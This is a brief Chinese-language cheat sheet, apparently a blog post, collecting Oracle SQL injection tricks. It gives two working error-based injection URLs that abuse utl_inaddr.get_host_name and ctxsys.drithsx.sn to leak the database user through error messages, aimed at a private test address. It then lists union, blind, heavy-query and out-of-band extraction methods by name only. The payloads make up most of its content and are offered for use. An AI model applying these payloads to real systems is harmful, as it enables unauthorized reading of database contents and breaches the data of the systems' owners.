Oracle 注入技巧收集

標籤：

---恢複內容開始---

一、報錯注入

（1）爆使用者名稱（適用於：Oracle8，9和10g）：

http://192.168.2.10/ora2.php?name=1‘ and 1=utl_inaddr.get_host_name((select user from dual))--

（2）基於報錯注入（適用於Oracle 11g）取資訊：

ctxsys.drithsx.sn(1,(SQL語句))

例如：

http://192.168.2.10/ora1.php?name=‘ and 1 = ctxsys.drithsx.sn(1,(select user from dual))--

二、無報錯資訊

可通過以下幾種方式來實現提取資料：

　　（1）聯集查詢；

　　（2）盲注；

　　（3）Heavy Queries

　　（4）Out Of Band Channels（帶外通道）

 

---恢複內容結束---

Oracle 注入技巧收集